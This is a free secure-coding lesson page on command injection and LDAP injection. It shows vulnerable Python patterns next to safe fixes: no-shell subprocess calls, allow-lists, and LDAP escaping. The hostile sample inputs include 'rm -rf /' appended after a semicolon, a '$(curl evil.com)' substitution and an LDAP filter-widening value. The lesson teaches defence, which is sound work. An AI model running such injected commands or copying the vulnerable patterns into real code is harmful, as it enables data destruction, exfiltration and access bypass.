0Pricing
Secure Coding & OWASP Top 10 for Backend · Lesson

Preventing Command & LDAP Injection

Learn how OS command injection and LDAP injection work and how to defend against them with safe APIs, allow-lists, and proper encoding.

Preventing Command & LDAP Injection is a free Secure Coding & OWASP Top 10 for Backend lesson on CoddyKit — lesson 4 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the Secure Coding & OWASP Top 10 for Backend learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.

Beyond SQL Injection

Injection is not limited to SQL. Any time untrusted input is mixed into a command interpreter, you risk injection. Two dangerous cousins are OS command injection and LDAP injection.

This lesson shows how both work and how to stop them.

How Command Injection Works

Command injection happens when user input is passed to a shell. Shell metacharacters like ;, &&, and | let an attacker append their own commands.

  • Input file.txt; rm -rf / can delete data
  • Input $(curl evil.com) can exfiltrate or download

The Vulnerable Pattern

The danger is invoking a shell with a concatenated string. Here the user controls part of the command line.

import os

def ping(host):
    # DANGEROUS: host is interpolated into a shell command
    os.system('ping -c 1 ' + host)

# ping('8.8.8.8; rm -rf /tmp/data') runs two commands

Use Safe APIs

The fix is to avoid the shell entirely. Pass arguments as a list to an exec-style API so the OS treats input as a single argument, never as syntax.

import subprocess

def ping(host):
    # SAFE: no shell, host is a single argument
    subprocess.run(['ping', '-c', '1', host], shell=False, check=True)

Validate with Allow-Lists

When input feeds a command, restrict it to a known-good pattern. An allow-list rejects anything outside an expected set instead of trying to block bad characters.

import re

def is_valid_host(host):
    pattern = r'^[a-zA-Z0-9.-]{1,253}$'
    return re.match(pattern, host) is not None

print(is_valid_host('example.com'))
print(is_valid_host('8.8.8.8; rm -rf /'))

Avoid Shell Features

Never enable shell=True, eval, or string-based command builders with untrusted data. If you must use a shell, escape arguments with the platform quoting function, but prefer the no-shell approach.

What Is LDAP Injection?

LDAP injection targets directory queries used in authentication and lookups. Special characters like *, (, ), and \ alter the filter logic.

An input of * in a username field can match every entry, bypassing access checks.

Vulnerable LDAP Filter

Building filters by string concatenation lets attackers rewrite the query.

def build_filter(username):
    # DANGEROUS: username can contain LDAP metacharacters
    return '(&(uid=' + username + ')(active=TRUE))'

# build_filter('*)(uid=*') opens the filter to all users

Escaping LDAP Input

Escape special characters before inserting them into a filter, per RFC 4515. Most LDAP libraries provide an escape helper, use it for every dynamic value.

def escape_ldap(value):
    replacements = {'\\': '\\5c', '*': '\\2a', '(': '\\28', ')': '\\29', '\x00': '\\00'}
    out = ''
    for ch in value:
        out += replacements.get(ch, ch)
    return out

print(escape_ldap('*)(uid=*'))

Defense in Depth

Combine safe APIs, allow-list validation, and least privilege. Run processes under low-privilege accounts so even a successful injection cannot do much.

  • No shell where possible
  • Validate every input
  • Drop privileges before executing

Testing for Injection

Probe inputs with metacharacters during testing: semicolons and pipes for command fields, asterisks and parentheses for LDAP fields. Automated DAST tools and code review both help catch these flaws early.

Quick Check

Test your understanding of injection defenses.

Recap

You learned how command injection and LDAP injection work and how to stop them: avoid the shell with safe exec APIs, use allow-list validation, escape LDAP special characters, and apply least privilege. Treat every interpreter boundary as a place where injection can occur.

Frequently asked questions

Is the “Preventing Command & LDAP Injection” lesson free?

Yes — the full text of “Preventing Command & LDAP Injection” is free to read here on the web, and the Secure Coding & OWASP Top 10 for Backend course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the Secure Coding & OWASP Top 10 for Backend course, upgrade to CoddyKit PRO.

What will I learn in “Preventing Command & LDAP Injection”?

Learn how OS command injection and LDAP injection work and how to defend against them with safe APIs, allow-lists, and proper encoding. You practise Secure Coding & OWASP Top 10 for Backend with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.

Do I need any experience to start Secure Coding & OWASP Top 10 for Backend?

No prior experience is required. Secure Coding & OWASP Top 10 for Backend on CoddyKit is structured for beginners through advanced learners; this is — lesson 4 of 4, so you can start here or from the beginning and move at your own pace.

How long does the “Preventing Command & LDAP Injection” lesson take?

Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.

Can I write and run code in this Secure Coding & OWASP Top 10 for Backend lesson?

Yes. Every Secure Coding & OWASP Top 10 for Backend lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.

All lessons in this course

  1. Advanced SQLi & NoSQLi Techniques
  2. Comprehensive Input Validation Strategies
  3. Content Security Policy (CSP) for Backend
  4. Preventing Command & LDAP Injection
← Back to Secure Coding & OWASP Top 10 for Backend